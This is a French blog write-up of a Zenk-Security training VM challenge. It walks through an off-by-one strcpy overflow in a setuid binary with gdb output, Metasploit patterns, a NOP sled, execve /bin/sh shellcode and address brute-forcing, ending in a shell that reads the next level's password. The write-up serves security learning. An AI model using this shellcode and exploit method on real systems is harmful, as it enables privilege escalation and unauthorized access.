Hier soir j'ai attaquer la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.
Voici le write-ups du dernier challenge de la VM :
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { int arg2size ; char bufa[32]; int arg1size ; char bufb[32]; if(argc != 3) { printf("Usage : ./program arg1 arg2\n"); return -1 ; } arg1size = strlen(argv[1]); arg2size = strlen(argv[2]); if(arg1size > sizeof(bufa)){ printf("arg1 length should be less than 32 bytes\n"); return -1; } strcpy(bufa, argv[1]); if(arg2size < sizeof(bufb)) { printf("arg2 length sould be less than 32 bytes"); return -1 ; } strcpy(bufb, argv[2]); return 0; }
A première vu il n'est pas possible d'exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.
Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu'on ne re-écrit qu'un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).
Il nous faut trouver en premier lieu l'offset d'EIP, on va utiliser les patterns metasploit :
level11@VmAppliZenk:~$ gdb -q ./level11 warning: not using untrusted file "/home/level11/.gdbinit" (gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'` Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'` Program received signal SIGSEGV, Segmentation fault. 0x08048524 in main () Current language: auto; currently asm (gdb) i r eax 0x0 0 ecx 0x41346341 1093952321 edx 0x51 81 ebx 0xb7fd8ff4 -1208119308 esp 0x4134633d 0x4134633d ebp 0x63413563 0x63413563 esi 0x8048540 134513984 edi 0x8048390 134513552 eip 0x8048524 0x8048524 <main+224> eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX.
En regardant le code du main on peut comprendre pourquoi :
0x08048519 <main+213>: mov eax,DWORD PTR [ebp-0x58] 0x0804851c <main+216>: add esp,0x64 0x0804851f <main+219>: pop ecx 0x08048520 <main+220>: pop ebp 0x08048521 <main+221>: lea esp,[ecx-0x4] 0x08048524 <main+224>: ret
On a donc ESP = ECX - 4.
On va maintenant voir comment exploiter ça :).
Bon je vais utiliser les variables d'environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l'adresse de retour, ce sera utile pour "guesser" à peu près la valeur d'ESP et une variable d'environnement où on aura notre shellcode.
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` level11@VmAppliZenk:~$ /tmp/getenv SC SC is located at 0xbfffd753 level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'` level11@VmAppliZenk:~$ /tmp/getenv CSTACK CSTACK is located at 0xbfffd59c
Vous pouvez remarquer qu'on met plusieurs fois l'adresse du shellcode sur la stack, on a sûrement pas besoin d'autant mais vu que c'est une variable d'environnement ... on a autant de place qu'on veut ;). Ces ret répétés vont permettre le guessing de l'ESP et ainsi avoir une marge d'erreur.
Maintenant qu'on a fini les préparatifs, let's hack that app' :
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'` Erreur de segmentation level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'` Erreur de segmentation level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'` Erreur de segmentation level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'` Erreur de segmentation level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'` sh-3.2$ id uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11) sh-3.2$ cat /home/level12/password Le mot de passe est : ******** sh-3.2$ exit exit
Pawned,
m_101
Aucun commentaire :
Enregistrer un commentaire